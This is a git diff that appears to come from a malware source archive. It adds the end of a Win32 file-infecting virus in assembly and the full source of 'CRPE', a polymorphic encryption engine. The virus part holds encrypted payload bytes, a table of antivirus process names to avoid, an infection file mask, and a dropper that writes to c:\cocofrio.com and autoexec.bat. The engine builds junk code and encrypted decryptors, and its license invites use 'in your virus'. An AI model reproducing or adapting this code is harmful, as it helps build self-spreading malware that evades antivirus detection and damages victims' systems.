0D4h, 0C6h + DB 064h, 019h, 065h, 050h, 009h, 048h, 02Ch, 014h + DB 071h, 089h, 05Ch, 03Eh, 03Eh, 0F8h, 033h, 07Ch + DB 031h, 084h, 0A4h, 063h, 092h, 0E5h, 06Ah, 014h + DB 007h, 04Bh, 045h, 052h, 04Eh, 030h, 04Ch, 033h + DB 032h, 02Eh, 038h, 064h, 06Ch, 0F0h, 035h, 055h + DB 053h, 01Ch, 036h, 00Bh, 002h, 0F9h, 0D9h, 065h + DB 0C6h, 0F4h, 031h, 080h, 045h, 078h, 069h, 074h + DB 050h, 072h, 03Fh, 06Fh, 063h, 038h, 073h, 0EFh + DB 01Dh, 058h, 02Ah, 06Bh, 04Dh, 0C7h, 017h, 061h + DB 067h, 094h, 041h, 0CFh, 001h, 0AAh, 0D7h, 0B6h + DB 097h, 00Eh, 01Fh, 030h, 025h, 04Eh, 02Bh, 097h + DB 07Fh, 004h, 0BEh, 004h, 0B2h, 02Fh, 07Ah, 03Bh + DB 063h, 002h, 083h, 003h, 05Fh, 00Dh, 081h, 0E7h + DB 080h, 00Eh, 091h, 011h, 038h, 056h, 020h, 08Bh + DB 001h, 0F9h, 0F0h, 015h, 050h, 018h, 0B5h, 008h + DB 014h, 0A0h, 094h, 068h, 030h, 0ACh, 00Ah, 0BFh + DB 08Ah, 02Ch, 015h, 029h, 018h, 071h, 090h, 011h + DB 0B4h, 060h, 001h, 0E8h, 002h, 04Eh, 08Ch, 02Fh + DB 09Ch, 0C1h, 0F5h, 014h, 04Fh, 09Ch, 038h, 009h + DB 038h, 049h, 032h, 044h, 009h, 05Fh, 027h, 043h + DB 007h, 04Fh, 007h, 04Eh, 007h, 031h, 005h, 028h + DB 067h, 0A4h, 005h, 040h, 04Ah, 04Ah, 004h, 028h + DB 08Ah, 080h, 002h, 0DEh, 0D4h, 056h, 080h, 081h + DB 077h, 0F1h, 049h, 007h, 046h, 002h, 013h, 06Dh + DB 0C0h, 002h, 010h, 047h, 009h, 005h, 0FFh, 05Ch + DB 003h, 03Bh, 0F8h, 0A4h, 007h, 0A2h, 002h, 08Ch + DB 013h, 00Bh, 0AAh, 0C3h, 003h, 007h, 077h, 087h + DB 097h, 036h, 078h, 009h, 063h, 00Ah, 018h, 0A2h + DB 022h, 03Fh, 002h, 020h, 046h, 03Ch, 070h, 0FDh + DB 033h, 00Ah, 0A2h, 04Bh, 0F0h, 086h, 016h, 0A1h + DB 010h, 08Fh, 0E5h, 00Fh, 0C2h, 013h, 00Dh, 022h + DB 007h, 088h, 008h, 05Fh, 0AAh, 09Bh, 010h, 06Fh + DB 00Fh, 010h, 0ADh, 007h, 041h, 0C3h, 01Bh, 03Eh + DB 020h, 0A2h, 01Dh, 072h, 04Eh, 0A4h, 040h, 0E1h + DB 046h, 020h, 07Ch, 0DCh, 004h, 029h, 010h, 06Eh + DB 039h, 04Fh, 008h, 09Ch, 0DEh, 088h, 06Bh, 010h + DB 033h, 03Fh, 008h, 0F5h, 00Ah, 001h, 077h, 010h + DB 0EDh, 01Bh, 094h, 00Bh, 087h, 020h, 0B1h, 080h + DB 011h, 0C5h, 010h, 0A9h, 00Ah, 020h, 01Bh, 001h + DB 016h, 087h, 04Ch, 021h, 008h, 08Eh, 03Eh, 019h + DB 099h, 0FFh, 0E7h, 0D3h, 02Ah, 00Bh, 010h, 010h + DB 06Fh, 009h, 016h, 02Ch, 019h, 021h, 091h, 08Ch + DB 06Eh, 0F0h, 014h, 08Fh, 080h, 0F4h, 001h, 019h + DB 011h, 018h, 092h, 0A2h, 09Dh, 03Fh, 09Fh, 01Dh + DB 070h, 0A8h, 010h, 06Eh, 090h, 0CAh, 054h, 010h + DB 07Fh, 089h, 0F9h, 008h, 080h, 0A3h, 0D6h, 07Ah + DB 020h, 086h, 0EFh, 00Dh, 045h, 093h, 022h, 010h + DB 0F0h, 00Dh, 043h, 0A8h, 09Ch, 010h, 0DBh, 062h + DB 021h, 0C5h, 019h, 021h, 09Ch, 087h, 056h, 010h + DB 0A0h, 071h, 007h, 069h, 07Fh, 042h, 009h, 0EBh + DB 02Ah, 014h, 0F0h, 04Fh, 05Fh, 028h, 0CAh, 0F5h + DB 020h, 005h, 090h, 014h, 008h, 099h, 097h, 0D3h + DB 094h, 0F0h, 07Ah, 071h, 070h, 092h, 02Ch, 0DFh + DB 0D2h, 0F2h, 004h, 0A0h, 04Ch, 0B1h, 0CAh, 031h + DB 070h, 02Fh, 00Ah, 099h, 0A2h, 010h, 047h, 007h + DB 0EAh, 005h, 033h, 020h, 009h, 054h, 081h, 011h + DB 078h, 045h, 080h, 020h, 022h, 099h, 0D5h, 0C1h + DB 010h, 048h, 002h, 050h, 020h, 009h, 06Ah, 090h + DB 020h, 021h, 06Ah, 030h, 031h, 006h, 00Ah, 0A0h + DB 059h, 00Ch, 023h, 04Eh, 070h, 029h, 02Ah, 0A2h + DB 01Eh, 0B7h, 0B4h, 028h, 069h, 00Ah, 0D0h, 01Fh + DB 047h, 079h, 004h, 097h, 05Ah, 060h, 04Ah, 0EFh + DB 084h, 033h, 088h, 095h, 08Fh, 01Fh, 062h, 0ECh + DB 09Ah, 055h, 072h, 0C4h, 070h, 071h, 020h, 04Ch + DB 010h, 0E6h, 0C9h, 0E8h, 05Eh, 06Eh, 072h, 0BDh + DB 001h, 075h, 0D6h, 0C0h, 000h + + Guarda_EIP DD 00000000h + FHandle DD 00000000h + MHandle DD 00000000h + BaseMap DD 00000000h + Tamao_1 DD 00000000h + Tamao_2 DD 00000000h + CRC_PLXR EQU 09EB7DF5h + + CRCNoInf DD 056B06AB2h + DD 0C4B3B3AEh + DD 09FAACC5Eh + DD 003E9FED8h + DD 071C0B944h + DD 0AEBB798Ch + DD 098BEBD89h + DD 0DA2CC2EBh + DD 0527EDB25h + DD 0EE9E3F8Bh + DD 0624D4378h + DD 00926128Ch + DD 0A6B26D55h + DD 0617F1F35h + DD 05AE2F365h + DD 085B3A1E3h + DD 05CE63D60h + DD 09EA8CB96h + DD 0A0AC0C6Dh + +; -- LA FOQUIDA TABLA -- COPYRIGHT (C) 2001 MONGOLITO ENTERPRISES +; "defr" 56B06AB2 +; "scan" C4B3B3AE +; "anti" 9FAACC5E +; "rund" 03E9FED8 +; "wscr" 71C0B944 +; "cscr" AEBB798C +; "drwa" 98BEBD89 +; "smar" DA2CC2EB +; "task" 527EDB25 +; "avpm" EE9E3F8B +; "avp3" 624D4378 +; "avpc" 0926128C +; "avwi" A6B26D55 +; "avco" 617F1F35 +; "vshw" 5AE2F365 +; "fp-w" 85B3A1E3 +; "f-st" 5CE63D60 +; "f-pr" 9EA8CB96 +; "f-ag" A0AC0C6D +; -- LA FOQUIDA TABLA -- COPYRIGHT (C) 2001 MONGOLITO ENTERPRISES + + IF DEBUG + Mascara DB "BAIT*.???", 00h + ELSE + Mascara DB "*.???", 00h + ENDIF + Busqueda DB SIZEOF_WIN32_FIND_DATA DUP (00h) + RewtDir DB MAX_PATH DUP (00h) + BHandle DD 00000000h + IF DEBUG + Puto_Puto DB ".", 00h + ELSE + Puto_Puto DB "..", 00h + ENDIF + LargPP DD 00000000h + CRC_EXE EQU 0F643C743h + CRC_SCR EQU 096C10707h + + TempAPI DB 25d DUP (00h) + ReSave DD 00000000h + PackedAPIs DB "X", 00h + DB "Create", 00h + DB "File", 00h + DB "Map", 00h + DB "View", 00h + DB "Close", 00h + DB "Get", 00h + DB "Set", 00h + DB "Find", 00h + DB "Virtual", 00h + DB "Window", 00h + DB "Directory", 00h + DB "Current", 00h + DB "WaitFor", 00h + DB "Thread", 00h + DB 0FFh + + PFHandle DD 00000000h + PTemporal DD 00000000h + CocoFrio DB "c:\cocofrio.com", 00h + Largo_CocoFrio EQU $-CocoFrio + AutoExec DB "c:\autoexec.bat", 00h + + Payload_Prog LABEL NEAR + + DB 081h, 0FCh, 0C5h, 005h, 077h, 002h, 0CDh, 020h + DB 0B9h, 037h, 002h, 0BEh, 037h, 003h, 0BFh, 065h + DB 005h, 0BBh, 000h, 080h, 0FDh, 0F3h, 0A4h, 0FCh + DB 087h, 0F7h, 083h, 0EEh, 0C6h, 019h, 0EDh, 057h + DB 057h, 0E9h, 0EDh, 003h, 055h, 050h, 058h, 021h + DB 00Bh, 001h, 004h, 008h, 0A7h, 0CBh, 0C1h, 082h + DB 0C6h, 0B5h, 090h, 039h, 000h, 004h, 0A8h, 001h + DB 006h, 0DDh, 0FFh, 0FFh, 0B4h, 02Ah, 0CDh, 021h + DB 088h, 016h, 080h, 003h, 080h, 0FEh, 007h, 076h + DB 019h, 033h, 0C0h, 08Ah, 0FEh, 0FFh, 0C6h, 0F6h + DB 0E6h, 033h, 0D2h, 0B3h, 005h, 0F6h, 0F3h, 002h + DB 0C2h, 02Ch, 004h, 03Ah, 006h, 092h, 0DFh, 018h + DB 074h, 019h, 0EBh, 06Bh, 090h, 091h, 067h, 003h + DB 004h, 0EFh, 0FFh, 075h, 054h, 0B8h, 012h, 000h + DB 0CDh, 010h, 0B4h, 00Bh, 0BBh, 00Eh, 006h, 0BFh + DB 0FDh, 002h, 033h, 0DBh, 0BAh, 000h, 009h, 008h + DB 0B3h, 039h, 0BEh, 095h, 001h, 0C7h, 0FEh, 0E8h + DB 003h, 070h, 0B3h, 028h, 0BEh, 0CAh, 007h, 024h + DB 0BEh, 0DFh, 0CCh, 016h, 003h, 042h, 0CDh, 016h + DB 0BEh, 054h, 09Bh, 0FBh, 003h, 0B3h, 01Eh, 0B8h + DB 003h, 02Eh, 061h, 0B4h, 0FFh, 0FFh, 00Eh, 0ACh + DB 00Ah, 0C0h, 074h, 010h, 0B9h, 038h, 000h, 051h + DB 0B9h, 0FFh, 0FFh, 0E2h, 0FEh, 059h, 0F6h, 0DBh + DB 0E2h, 0F7h, 016h, 0EBh, 0EBh, 0B8h, 000h, 04Ch + DB 090h, 013h, 0D9h, 020h, 000h, 0C4h, 0FEh, 037h + DB 03Ch, 020h, 050h, 04Ch, 045h, 058h, 041h, 052h + DB 020h, 03Eh, 0B6h, 0FDh, 00Dh, 00Dh, 00Ah, 001h + DB 000h, 028h, 06Fh, 057h, 02Eh, 000h, 06Dh, 061h + DB 073h, 0DFh, 0FEh, 020h, 065h, 06Eh, 074h, 072h + DB 065h, 074h, 005h, 069h, 064h, 06Fh, 020h, 06Eh + DB 0FFh, 071h, 075h, 065h, 020h, 075h, 06Eh, 020h + DB 070h, 016h, 065h, 06Fh, 07Eh, 0EBh, 018h, 020h + DB 019h, 061h, 063h, 074h, 06Fh, 072h, 0B2h, 0E6h + DB 029h, 041h, 038h, 0D8h, 096h, 01Bh, 070h, 033h + DB 0DFh, 01Eh, 06Ch, 061h, 004h, 061h, 064h, 065h + DB 063h, 0DFh, 0CAh, 06Fh, 020h, 03Bh, 06Dh, 062h + DB 065h, 06Ch, 0B9h, 0B7h, 06Ch, 00Ch, 069h, 06Dh + DB 069h, 05Fh, 0B6h, 0BDh, 012h, 075h, 072h, 062h + DB 01Eh, 06Fh, 047h, 023h, 06Ch, 088h, 0ACh, 0B5h + DB 06Ch, 02Ch, 050h, 04Fh, 06Dh, 0DBh, 04Bh, 020h + DB 047h, 06Eh, 05Dh, 0B7h, 03Dh, 065h, 003h, 061h + DB 04Fh, 06Ch, 008h, 0FBh, 020h, 067h, 06Fh, 063h + DB 068h, 03Fh, 06Dh, 0D8h, 040h, 061h, 093h, 06Dh + DB 041h, 061h, 091h, 061h, 0F7h, 076h, 0C6h, 069h + DB 06Ch, 03Dh, 04Bh, 0B1h, 076h, 074h, 075h, 066h + DB 020h, 03Eh, 00Eh, 061h, 080h, 079h, 020h, 0BDh + DB 0FDh, 041h, 062h, 06Fh, 084h, 076h, 061h, 072h + DB 06Eh, 0B6h, 073h, 06Eh, 045h, 078h, 07Fh, 0DBh + DB 073h, 06Fh, 0C9h, 072h, 00Fh, 06Dh, 065h, 073h + DB 0B2h, 0B3h, 06Dh, 081h, 000h, 043h, 0FFh, 0B7h + DB 04Dh, 028h, 063h, 029h, 020h, 032h, 030h, 030h + DB 02Fh, 0FFh, 031h, 020h, 04Ch, 069h, 074h, 065h + DB 053h, 079h, 02Fh, 02Fh, 020h, 01Eh, 0DCh, 048h + DB 065h, 0B6h, 049h, 056h, 0ADh, 0DDh, 003h, 065h + DB 07Ah, 051h, 08Fh, 0BBh, 0EDh, 02Eh, 000h, 048h + DB 068h, 074h, 09Ch, 072h, 06Fh, 015h, 00Eh, 018h + DB 01Fh, 0DAh, 0CDh, 09Dh, 07Ah, 06Eh, 064h, 002h + DB 005h, 0D7h, 034h, 05Dh, 0EEh, 0C3h, 009h, 0F9h + DB 004h, 0EDh, 00Ah, 07Bh, 0F7h, 059h, 0C3h, 000h + DB 000h, 040h, 0A8h, 000h, 000h, 000h, 000h, 020h + DB 001h, 0FFh, 0A4h, 0E8h, 034h, 000h, 072h, 0FAh + DB 041h, 0E8h, 029h, 000h, 0E3h, 035h, 073h, 0F9h + DB 083h, 0E9h, 003h, 072h, 006h, 088h, 0CCh, 0ACh + DB 0F7h, 0D0h, 095h, 031h, 0C9h, 0E8h, 015h, 000h + DB 011h, 0C9h, 075h, 008h, 041h, 0E8h, 00Dh, 000h + DB 073h, 0FBh, 041h, 041h, 041h, 08Dh, 003h, 096h + DB 0F3h, 0A4h, 096h, 0EBh, 0CEh, 0E8h, 002h, 000h + DB 011h, 0C9h, 001h, 0DBh, 075h, 004h, 0ADh, 011h + DB 0C0h, 093h, 0C3h, 05Eh, 0B9h, 003h, 000h, 0ACh + DB 02Ch, 0E8h, 03Ch, 001h, 077h, 0F9h, 0C1h, 004h + DB 008h, 029h, 034h, 0ADh, 0E2h, 0F1h, 0C3h + + Largo_PProg EQU $-Payload_Prog + + + +; + + DB 10h DUP (90h) + + Termina_Plexar LABEL NEAR + + Mentira PROC + + PUSH 0Ah ; lang_spanish + PUSH 040000h + 080000h + 010h ; mb_topmost & mb_right & mb_iconerror + PUSH OFFSET Titulo + PUSH OFFSET Mensaje + PUSH 0 + CALL MessageBoxExA + + PUSH 0 + CALL ExitProcess + + MENTIRA ENDP + +End Empieza_Plexar diff --git a/Engines/Virus.Win32.Poly.7z b/Engines/Virus.Win32.Poly.7z new file mode 100644 index 00000000..6bae8e84 Binary files /dev/null and b/Engines/Virus.Win32.Poly.7z differ diff --git a/Engines/Virus.Win32.Real.inc b/Engines/Virus.Win32.Real.inc new file mode 100644 index 00000000..7c49046e --- /dev/null +++ b/Engines/Virus.Win32.Real.inc @@ -0,0 +1,705 @@ +;------------------------------------------------------------------------------- +; +; CRPE - cH4R_ Real Polymorphic Engine +; +; by cH4R_/iKX +; +; Version: 1.5 +; +;------------------------------------------------------------------------------- +; http://www.charvx.cjb.net +;------------------------------------------------------------------------------- +; LICENSE: You can do ANYTHING with this code, this code have NO WARRANTLY of +; work, and the author will NOT be responsible for damages to your machine or +; any other machine. If you will use it in your virus, just give me some +; credits, and i will be happy. ;* +;------------------------------------------------------------------------------- +; +; News: +; +; - New code layout (tabs :P) +; - Some optimizations for size and speed +; - Improved morphing & trash generation +; - A lot of bugs fixed, now CRPE is completely working !! :D +; +;------------------------------------------------------------------------------- +; +; CRPE in pratice: +; +; To use it in your virus u will have to include CRPE in your +; source (duh!). Before call the engine to make a poly decryptor, +; "YOU" will have to find a place to HASH, used obtain a the +; encryption/decryption key. +; Your code must allow 586 instructions and have about 100 +; bytes of stack memory for CRPE. +; +; ------> Input (in STACK): +; +; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT] +; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT] +; Arg3 = [BUFFER TO CRPE SAVE "CALL + ENCRYPTED DATA + DECRYPTOR"] +; Arg4 = [SIZE OF AREA TO HASH] +; Arg5 = [POINTER TO AREA THAT WE WILL HASH] +; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE] +; +; ------> Output: +; +; EAX = Size of "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR" +; * ALL other register will be restored +; ** Flags will be "corrupted" +; +; ------> Example (for dummy guys): +; +; In data section: +; +; Buf db (CRPE_max_total + SIZE_OF_YOUR_CODE) dup (0) +; +; In code section: +; +; push 00401000h ; Area to hash, in infected file +; push edx ; Area to hash, now +; push 00000200h ; Size of area to hash +; push [ebp+Buf] ; Buffer +; push CODE_SIZE ; Size of area to encrypt +; push [ebp+CODE_BEGIN] ; Pointer to area to encrypt +; call CRPE_make +; +; ------> The result will be something like: +; +; [SOME TRASH INSTRUCTIONS] +; +; [CALL POLY_DECRYPTOR] +; +; [ENCRYPTED DATA] +; +; [POLY_DECRYPTOR] +; +;------------------------------------------------------------------------------- + + +; -- User information to allocate memory -- + +; Max. size of decryptor in bytes + CRPE_max_dec equ 0A3h +; Max. memory required, SizeOf( [TRASH] + CALL POLY_DECRYPTOR + POLY_DECRYPTOR ) + CRPE_max_total equ CRPE_max_dec+02Fh + +; ----------------------------------------- + +; Things to save my time... + ofs equ offset + bye equ byte ptr + dwo equ dword ptr + wod equ word ptr + +; Structure of PUSHAD + STACK_REG STRUCT + _EDI dd ? + _ESI dd ? + _EBP dd ? + _ESP dd ? + _EBX dd ? + _EDX dd ? + _ECX dd ? + _EAX dd ? + STACK_REG ENDS + +; PUSHAD structure size + STACK_REGS equ SIZE STACK_REG + +; Structure of stack used in CRPE + +; Arguments + arg6 equ 18h + arg5 equ 14h + arg4 equ 10h + arg3 equ 0Ch + arg2 equ 08h + arg1 equ 04h + +; SizeOf( PUSHAD + TEMPORARY MEMORY ) + CRPE_stack equ CRPE_tmp+STACK_REGS + +; Size of temporary memory + CRPE_tmp equ 0Fh + +; Registers + R_EAX equ 0 + R_ECX equ 1 + R_EDX equ 2 + R_EBX equ 3 + R_ESP equ 4 + R_EBP equ 5 + R_ESI equ 6 + R_EDI equ 7 + +; CRPE Signature + db "[CRPE]" + +;------------------------------------------------------------------------------- +; Main procedure of CRPE +;------------------------------------------------------------------------------- +; Input: +; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT] +; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT] +; Arg3 = [BUFFER TO CRPE SAVE "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"] +; Arg4 = [SIZE OF AREA TO HASH] +; Arg5 = [POINTER TO AREA THAT WE WILL HASH, NOW] +; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE] +; Output: +; EAX = Size of result ("TRASH + CALL + ENCRYPTED DATA + DECRYPTOR") in bytes + +CRPE_make proc + + pushad ; Save registers... + + ; Set memory + + sub esp,CRPE_tmp ; Reserve stack + mov ebp,esp ; EBP = Pointer to reserved stack + + mov edi,[esp+CRPE_stack+arg3] ; EDI = Pointer to buffer + + ; Generate initial TRASH + CALL + + call CRPE_tg ; Generate some trash.. + + push 1 ; We will generate more trash ? + call CRPE_rnd ; + xchg eax,ecx ; Choose: YES or NOT + jecxz @insert_call ; + + call CRPE_tg ; Generate more trash... + + @insert_call: + mov al,0E8h ; Generate: CALL opcode + stosb ; write... + mov eax,edi ; Generate: immed32 + add eax,[esp+CRPE_stack+arg2] ; + sub eax,edi ; + stosd ; write... + + ; Copy + + mov ecx,[esp+CRPE_stack+arg2] ; ECX = Size of area to encrypt + mov esi,[esp+CRPE_stack+arg1] ; ESI = Pointer to area + push edi ; Save EDI ! + push ecx ; Save ECX ! + cld ; + rep movsb ; Copy... + + ; Hash + + mov ebx,[esp+CRPE_stack+arg5+8] ; EBX = Area to hash + mov ecx,[esp+CRPE_stack+arg4+8] ; ECX = Size of area to hash + push -1 ; + call CRPE_rnd ; EAX = Random number + mov [ebp+4],eax ; Save "MAGIC" in temporary memory + + push eax ; Arg3 + push ecx ; Arg2 + push ebx ; Arg1 + call CRPE_hash ; Hash... + + ; Encrypt + + pop ecx ; Restore ECX ! + pop edx ; Restore EDI in EDX ! + + sub ecx,4 ; \ Some fixes... + add edx,ecx ; / + @@enc_loop: + xor [edx],eax ; XOR [BUFFER], KEY + xor eax,ecx ; XOR KEY, COUNTER + dec edx + dec ecx ; DEC COUNTER + jns @@enc_loop ; encryption loop + + ; --- TRASH + PUSHAD --- + + push 1 ; + call CRPE_rnd ; Choose: YES or NO + xchg eax,ecx ; Exchange: EAX <-> ECX + jecxz @no_trash ; ECX = 0 ? Dont put trash... + call CRPE_tg ; Trash gen. routine + @no_trash: ; + mov al,60h ; Generate: PUSHAD + stosb ; Write... + + ; --- HASH INIT --- + + ; Generate MOV (REG32_1),Buffer + push 3 ; + call CRPE_rnd ; Get random number between 0-3 + mov [ebp],al ; Save AL in temporary memory + or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32) + stosb ; Write.. + mov eax,[esp+CRPE_stack+arg6] ; imm32 = Pointer to buffer + stosd ; Write.. + + ; Generate MOV (REG32_2),Size + @rnd_1: ; + push 3 ; + call CRPE_rnd ; Get random number between 0-3 + cmp [ebp],al ; AL = First value of AL ? + jz @rnd_1 ; Randomize again... + mov [ebp+1],al ; Save AL in temporary memory + or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32) + stosb ; Write.. + mov eax,[esp+CRPE_stack+arg4] ; imm32 = Size of buffer + stosd ; Write.. + + ; Generate XOR/SUB (REG32_3),(REG32_3) + @rnd_2: + push 3 ; + call CRPE_rnd ; Get random number between 0-3 + cmp [ebp],al ; AL = First value of AL ? + jz @rnd_2 ; Randomize again... + cmp [ebp+1],al ; AL = Second value of AL ? + jz @rnd_2 ; Randomize again... + mov [ebp+2],al ; Save AL in temporary memory... + mov bl,al ; BL = AL \ + shl al,3 ; AL = AL * 8 > Optimized for speed + add al,bl ; AL+= BL / + or al,0C0h ; AL+= 0C0h (r32/r32) + mov ebx,eax ; EBX = EAX + push 1 ; + call CRPE_rnd ; Choose: SUB or XOR + or eax,eax ; + jz @@sub__ ; + @@xor__: ; + mov al,033h ; Generate: XOR + jmp @write0 ; + @@sub__: ; + mov al,02Bh ; Generate: SUB + @write0: ; + mov ah,bl ; + stosw ; Write.. + + ; Generate: MOV (REG32_4),(REG32_3) + mov al,[ebp+2] ; EAX = [EBP+2] (Third value of AL) + xor al,[ebp+1] ; XOR AL,[EBP+1](Second value of AL) + xor al,[ebp] ; XOR AL,[EBP] (First value of AL) + mov [ebp+3],al ; Save AL in temporary memory + shl al,3 ; AL = AL * 8 + or al,[ebp+2] ; AL = AL + REG32_3 + or al,0C0h ; AL+= 0C0h + xchg al,ah ; Exchange: AL <-> AH + mov al,08Bh ; AL = 08Bh (MOV (r32),(r32) opcode) + stosw ; Write... + mov [ebp+0Ch],edi ; Save current position in temp. memory + + ; --- HASH BYTE --- + + ; Generate: XOR (REG32_3),MAGIC + mov [ebp+8],edi ; Save current position in temp. memory + mov al,bye [ebp+2] ; AL = REG32_3 + or eax,eax ; AL != 0 ? + jnz @@normal_xor ; Normal version of XOR... + or al,035h ; Optimized version for EAX + stosb ; Write... + jmp @@immed32_of_xor ; Jump to put an immed32 + @@normal_xor: ; + or al,0F0h ; AL+= 0F0h + mov ah,081h ; AH = 081h + xchg ah,al ; Exchange: AH <-> AL + stosw ; Write... + @@immed32_of_xor: ; + mov eax,[ebp+4] ; EAX = Saved "MAGIC" in temp. memory + stosd ; Write... + + ; Generate: REG32_3_LO8 ^= BUF[COUNTER-1] + mov al,032h ; XOR r8,mem opcode + stosb ; Write... + + mov al,bye [ebp+2] ; AL = REG32_3 + shl al,3 ; AL = AL * 8 + add al,44h ; Identify R8,LOW of REG32_3 + stosb ; Write... + + mov al,[ebp] ; AL = REG32_1 \ Combination of registers + shl al,3 ; AL = Ah * 8 / Generate: [REG32_2+REG32_1] + add al,[ebp+1] ; AL+= REG32_2 / + mov ah,0FFh ; Generate: -1 + stosw ; Write... + + ; Generate: ADD/OR (REG32_4),8 + xor ecx,ecx ; + push 1 ; + call CRPE_rnd ; Choose: ADD or OR + xchg eax,ecx ; + jecxz @add_ ; + mov ah,8 ; Generate: OR + @add_: ; Generate: ADD + mov al,83h ; + or ah,[ebp+3] ; AH = REG32_4 + or ah,0C0h ; + stosw ; Write... + mov al,8 ; + stosb ; Write... + mov [ebp+08h],edi ; Save current position in temp. memory + + ; --- HASH BIT --- + + ; TRASH or not + push 1 ; + call CRPE_rnd ; Choose: YES or NO + xchg eax,ecx ; Exchange: EAX <-> ECX + jecxz @no_trash2 ; ECX = 0 ? So, dont put trash + call CRPE_tg ; Put trash... + @no_trash2: ; + + ; Generate: SHL [REG32_3],1 + mov al,0D1h ; SHL (REG),1 opcode + mov ah,[ebp+2] ; AH = REG32_3 + or ah,0E0h ; + stosw ; Write.. + + ; Generate: SBB [REG32_3], [REG32_4] + mov ah,[ebp+2] ; AH = REG32_3 + shl ah,3 ; AH = AH * 8 + add ah,[ebp+3] ; AH+= REG32_4 + add ah,0C0h ; + mov al,01Bh ; AL = 01Bh (SBB opcode) + stosw ; Write.. + + ; Generate: DEC [REG32_4] + mov al,[ebp+3] ; AL = REG32_4 + add al,048h ; AL+= 048h (DEC REG opcode) + stosb ; Write.. + + ; Generate: JNZ hash_bit (bit loop) + mov eax,[ebp+08h] ; EAX = hash_bit position + call CRPE_make_jnz ; Calcule the jump... + + ; Generate: DEC [REG32_2] + mov al,[ebp+1] ; AL = REG32_2 + add al,048h ; AL+= 048h (DEC REG opcode) + stosb ; Write.. + + ; Generate: JNZ hash_byte (byte loop) + mov eax,[ebp+0Ch] ; EAX = hash_bit position + call CRPE_make_jnz ; Calcule the jump... + + ; --- DECRYPTOR INIT --- + + ; Generate: REG32_1 = Encrypted area + mov al,08Bh ; AL = MOV opcode + stosb ; Write.. + + @rnd_3: ; Choose another REG32_1 + push 3 ; + call CRPE_rnd ; Get random number between 0-7 + cmp al,[ebp+2] ; AL = REG32_3 ? + jz @rnd_3 ; So try again.. + cmp al,4 ; AL = ESP (4) ? + jz @rnd_3 ; So try again.. + mov [ebp],al ; Save in temporary memory + shl al,3 ; AL = AL * 8 + add al,044h ; AL+= 44h + stosb ; Write.. + + mov ax,2024h ; AX = 2024h (ESP+20h) + stosw ; Write.. + + ; Generate: REG32_2 = Size of area - 4 + @rnd_4: ; Choose another REG32_2 + push 7 ; + call CRPE_rnd ; Get random number between 0-7 + cmp al,[ebp+2] ; AL = REG32_3 ? + jz @rnd_4 ; So try again.. + cmp al,[ebp] ; AL = REG32_1 ? + jz @rnd_4 ; So try again.. + cmp al,4 ; AL = ESP (4) ? + jz @rnd_4 ; So try again.. + mov [ebp+1],al ; Save in temporary memory + add al,0B8h ; AL+= B8h (MOV opcode) + stosb ; Write.. + + mov eax,[esp+CRPE_stack+arg2] ; EAX = immed32 + sub eax,4 ; EAX-= 4 + stosd ; Write.. + + ; Generate: ADD [REG32_1] , [REG32_2] + + mov ax,0C003h ; AX = ADD REG,REG opcode + mov bl,[ebp] ; AL = REG32_1 + shl bl,3 ; Second reg.. + or bl,[ebp+1] ; REG32_2, first reg.. + or ah,bl ; + stosw ; Write.. + + ; --- DECRYPTOR LOOP --- + + mov [ebp+04],edi ; Save current position in temporary mem. + + ; Generate: XOR [REG32_1],[REG32_3] + mov al,031h ; XOR [DS:REG],REG opcode + mov ah,[ebp+2] ; REG32_2 + shl ah,3 ; First reg + add ah,[ebp] ; REG32_2, second reg + stosw ; Write.. + + ; Generate: XOR [REG32_3],[REG32_2] + mov ah,[ebp+2] ; AH = REG32_3 + shl ah,3 ; AH = AH * 8 + add ah,0C0h ; AH+= C0h + or ah,[ebp+1] ; AH+= REG32_2 + mov al,033h ; AL = 33h (XOR opcode) + stosw ; Write.. + + ; Generate some trash or not + push 1 ; + call CRPE_rnd ; Choose: YES or NO + xchg eax,ecx ; + jecxz @no_trash3 ; + call CRPE_tg ; + @no_trash3: + + ; Generate: DEC [REG32_1] ; + mov al,[ebp] ; REG32_1 + add al,048h ; + stosb ; write.. + + ; Generate: DEC [REG32_2] + mov al,[ebp+1] ; REG32_2 + add al,048h ; + stosb ; write.. + + ; Generate: JNS DECRYPTOR_LOOP + mov eax,[ebp+4] ; EAX = DECRYPTOR_LOOP position + call CRPE_make_jnz ; Calculate jump + mov bye [edi-2],079h ; JNS + + ; --- TRASH + POPAD --- + + ; TRASH or not ; + push 1 ; + call CRPE_rnd ; Choose: YES or NO + xchg eax,ecx ; + jecxz @no_trash4 ; + call CRPE_tg ; + @no_trash4: ; + + ; Generate: POPAD + mov al,061h ; AL = POPAD opcode + stosb ; Write.. + + ; --- TRASH + RET --- + + ; TRASH or not + push 1 ; + call CRPE_rnd ; Choose: YES or NO + xchg eax,ecx ; Exchange: EAX <-> ECX + jecxz @no_trash5 ; ECX = 0 ? So, dont put trash + call CRPE_tg ; Put trash... + @no_trash5: ; + + ; Generate: RET ; + mov al,0C3h ; AL = 0C3h (RET opcode) + stosb ; Write... + + ; Calculate return value & Unset memory & Restores regs & Return + mov eax,[esp+CRPE_stack+arg3] ; EAX = Initial buffer + sub edi,eax + mov [esp+CRPE_tmp+STACK_REG._EAX],edi + add esp,CRPE_tmp + popad + ret 18h + + ; Common rotine to calculate SHORT jnz's + CRPE_make_jnz: + inc edi ; + inc edi ; + sub eax,edi ; EAX-= Current position + mov ah,075h ; AH = 75h (JNZ opcode) + xchg ah,al ; Exchange: AH <-> AL + mov [edi-2],ax ; Write.. + ret ; Return.. + +CRPE_make endp + +;------------------------------------------------------------------------------- +; INTERNAL FUNCTIONS, DONT WORRY ABOUT IT ;) +;------------------------------------------------------------------------------- + +; - Random number generator beetween 0-[Arg1] +; Input: Arg1 = Range +; Output: EAX = Random number + +CRPE_rnd proc + + pushad ; Save registers.. + + rdtsc ; CPU TIME-STAMP in EDX:EAX + xor edx,esp ; + xor eax,edx ; + + mov ecx,[esp+STACK_REGS+4] ; ECX = Arg1 + inc ecx ; + jecxz 